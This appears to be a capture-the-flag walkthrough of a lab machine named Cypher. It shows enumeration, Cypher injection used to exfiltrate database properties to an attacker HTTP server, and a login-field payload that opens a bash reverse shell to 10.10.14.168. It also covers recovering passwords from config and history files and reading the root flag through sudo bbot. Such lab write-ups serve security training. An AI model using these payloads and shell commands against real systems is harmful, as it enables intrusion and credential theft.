User Flag
Nmap Scan
As always we start with an Nmap scan
# Nmap 7.94SVN scan initiated Sat Mar 1 22:40:25 2025 as: nmap -Pn -p- -A --min-rate 5000 -oN scan.txt 10.10.11.57Nmap scan report for 10.10.11.57 (10.10.11.57)Host is up (0.050s latency).Not shown: 65533 closed tcp ports (reset)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)|_ 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)80/tcp open http nginx 1.24.0 (Ubuntu)|_http-title: Did not follow redirect to http://cypher.htb/|_http-server-header: nginx/1.24.0 (Ubuntu)Device type: general purposeRunning: Linux 5.XOS CPE: cpe:/o:linux:linux_kernel:5.0OS details: Linux 5.0Network Distance: 2 hopsService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1025/tcp)HOP RTT ADDRESS1 50.10 ms 10.10.14.1 (10.10.14.1)2 50.16 ms 10.10.11.57 (10.10.11.57)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Sat Mar 1 22:40:50 2025 -- 1 IP address (1 host up) scanned in 24.89 secondsI added cypher.htbto /etc/hosts
echo -e "10.10.11.57\tcypher.htb" | sudo tee -a /etc/hosts10.10.11.57 cypher.htbDirectories enumeration
$ ffuf -u http://cypher.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt
/'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/
v2.1.0-dev________________________________________________
:: Method : GET :: URL : http://cypher.htb/FUZZ :: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500________________________________________________
about [Status: 200, Size: 4986, Words: 1117, Lines: 179, Duration: 54ms]api [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 55ms]demo [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 63ms]index [Status: 200, Size: 4562, Words: 1285, Lines: 163, Duration: 114ms]login [Status: 200, Size: 3671, Words: 863, Lines: 127, Duration: 53ms]testing [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 53ms]:: Progress: [20476/20476] :: Job [1/1] :: 732 req/sec :: Duration: [0:00:41] :: Errors: 0 ::Exploring Exposed Artifacts and Identifying Vulnerabilities
By navigating to the testing folder I found jar file left exposed by someone
I opened it with JD-GUI and found that it contains a class called CustomFunctions, which creates a custom Neo4j function named custom.getUrlStatusCode. It is designed to fetch the HTTP status code for a given URL. The function uses a shell command to execute curl and retrieves the status code.
I went back to the login page and started playing with the body of the request. By inserting a ' inside the username object, I triggered an error that indicated a Neo4j syntax issue. The error message revealed that the application was constructing a Cypher query using the provided username and password, and the single quote caused a parsing failure in the query. The error specifically mentioned a syntax error due to an unclosed string literal, which suggests that the input was not being properly sanitized or escaped before being included in the query.
Exploiting Cypher injection
This behavior points to a potential vulnerability to Cypher injection, similar to SQL injection, where malicious input could manipulate the query’s logic. To exploit this further, I used a simple payload from Neo4jection: Secrets, Data, and Cloud Exploits

$ python -m http.serverServing HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...10.10.11.57 - - [02/Mar/2025 14:30:33] "GET /?l=USER HTTP/1.1" 200 -10.10.11.57 - - [02/Mar/2025 14:30:33] "GET /?l=HASH HTTP/1.1" 200 -10.10.11.57 - - [02/Mar/2025 14:30:33] "GET /?l=DNS_NAME HTTP/1.1" 200 -10.10.11.57 - - [02/Mar/2025 14:30:33] "GET /?l=SHA1 HTTP/1.1" 200 -10.10.11.57 - - [02/Mar/2025 14:30:33] "GET /?l=SCAN HTTP/1.1" 200 -10.10.11.57 - - [02/Mar/2025 14:30:33] "GET /?l=ORG_STUB HTTP/1.1" 200 -10.10.11.57 - - [02/Mar/2025 14:30:33] "GET /?l=IP_ADDRESS HTTP/1.1" 200 -it’s possible to retrieve the value of a property from the node if we treat it as a map: n[key], so we can use LOAD CSV to exfiltrate the data of the properties we got already
And we got the values of the properties.
$ python -m http.serverServing HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...10.10.11.57 - - [02/Mar/2025 14:33:26] "GET /?name=graphasm HTTP/1.1" 200 -10.10.11.57 - - [02/Mar/2025 14:33:45] "GET /?value=9f54ca4c130be6d529a56dee59dc2b2090e43acf HTTP/1.1" 200 -10.10.11.57 - - [02/Mar/2025 14:34:26] "GET /?host=211.255.9.117 HTTP/1.1" 200 -10.10.11.57 - - [02/Mar/2025 14:35:08] "GET /?parent_uuid=d0ba01af-b882-4284-92f4-01412cb123c4 HTTP/1.1" 200 -10.10.11.57 - - [02/Mar/2025 14:35:08] "GET /?scope_distance=0 HTTP/1.1" 200 -10.10.11.57 - - [02/Mar/2025 14:35:08] "GET /?uuid=d0ba01af-b882-4284-92f4-01412cb123c4 HTTP/1.1" 200 -10.10.11.57 - - [02/Mar/2025 14:35:08] "GET /?scan=SCAN:eb3cf8eb641dd2e8005128c2fee4b43e59fd7785 HTTP/1.1" 200 -10.10.11.57 - - [02/Mar/2025 14:35:08] "GET /?type=SCAN HTTP/1.1" 200 -10.10.11.57 - - [02/Mar/2025 14:35:09] "GET /?web_spider_distance=0 HTTP/1.1" 200 -we have the username graphasm and the SHA1 password hash, I tried to crack the hash but no luck.
Getting a reverse shell
Do you remember the jar file we found that creates the custom procedure, we can attempt to inject a reverse shell by calling this custom procedure.
So I crafted a payload that calls the getUrlStatusCode procedure and inject a revshell
{ "username": "' Return 1 Union CALL custom.getUrlStatusCode('http://10.10.14.168:8000/ ; /bin/bash -c \"bash -i >& /dev/tcp/10.10.14.168/4444 0>&1\"') YIELD statusCode AS s RETURN 1 // ", "password": "anything"}
I sent this request while I had a listener opened on port 4444, and got a revshell as neo4j
Lateral movement
I typed neo4j —help and noticed this env variable called NEO4J_HOME
neo4j@cypher:~$ cd $NEO4J_HOMEcd $NEO4J_HOMEneo4j@cypher:~$ ls -alls -altotal 68drwxr-xr-x 15 neo4j adm 4096 Mar 3 10:18 .drwxr-xr-x 50 root root 4096 Feb 17 16:48 ..-rw-r--r-- 1 neo4j neo4j 63 Oct 8 18:07 .bash_historydrwxr-xr-x 4 neo4j neo4j 4096 Mar 3 08:56 .bbotdrwxrwxr-x 3 neo4j adm 4096 Oct 8 18:07 .cachedrwxr-xr-x 2 neo4j adm 4096 Aug 16 2024 certificatesdrwxr-xr-x 3 neo4j neo4j 4096 Mar 3 08:56 .configdrwxr-xr-x 6 neo4j adm 4096 Oct 8 18:07 datadrwx------ 3 neo4j neo4j 4096 Mar 3 10:37 .gnupgdrwxr-xr-x 2 neo4j adm 4096 Aug 16 2024 importdrwxr-xr-x 2 neo4j adm 4096 Feb 17 16:24 labsdrwxr-xr-x 2 neo4j adm 4096 Aug 16 2024 licensesdrwxr-xr-x 3 neo4j neo4j 4096 Mar 3 10:18 .local-rw-r--r-- 1 neo4j adm 52 Oct 2 15:55 packaging_infodrwxr-xr-x 2 neo4j adm 4096 Mar 3 08:41 pluginsdrwxr-xr-x 2 neo4j adm 4096 Feb 17 16:24 productsdrwxr-xr-x 2 neo4j adm 4096 Mar 3 07:41 runlrwxrwxrwx 1 neo4j adm 9 Oct 8 18:07 .viminfo -> /dev/nullneo4j@cypher:~$I found a .config folder that contains a folder bbolt that contains two files, bbot.yml and secrets.yml I looked for anything interesting inside these two files and found a credentials for Neo4j database.
$ tail secrets.yml && echo# http:# username: ''# password: ''# websocket:# token: ''# splunk:# hectoken: ''# neo4j:# username: neo4j# password: bbotislifeI tried to access ssh as graphasm with this password but not luck. And, then I displayed the content of .bash_history and found some interesting stuff.
$ cat .bash_historyneo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhKThe admin has set a initial password to neo4j. Again, I tried to access ssh as graphasm with this password and I succeded

Privilege escalation
Let’s check what graphasm can run with sudo:
$ graphasm@cypher:~$ sudo -lMatching Defaults entries for graphasm on cypher: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User graphasm may run the following commands on cypher: (ALL) NOPASSWD: /usr/local/bin/bbotWe can see that graphasm has passwordless sudo access to execute /usr/local/bin/bbot.
bbot is a multipurpose scanner built to automate Recon, Bug Bounties, and ASM.
It allows loading and executing custom modules as well as loading custom YARA rules.
We can exploit this feature to read the root flag.
To achieve this, I executed the following command:
sudo bbot --custom-yara-rules=/root/root.txt --dry-run -d--dry-run: Prevents the scan from executing (useful for testing).-d: Enables debug mode, allowing us to see the content of the imported YARA rule.
By using this method, we can successfully read the root flag.
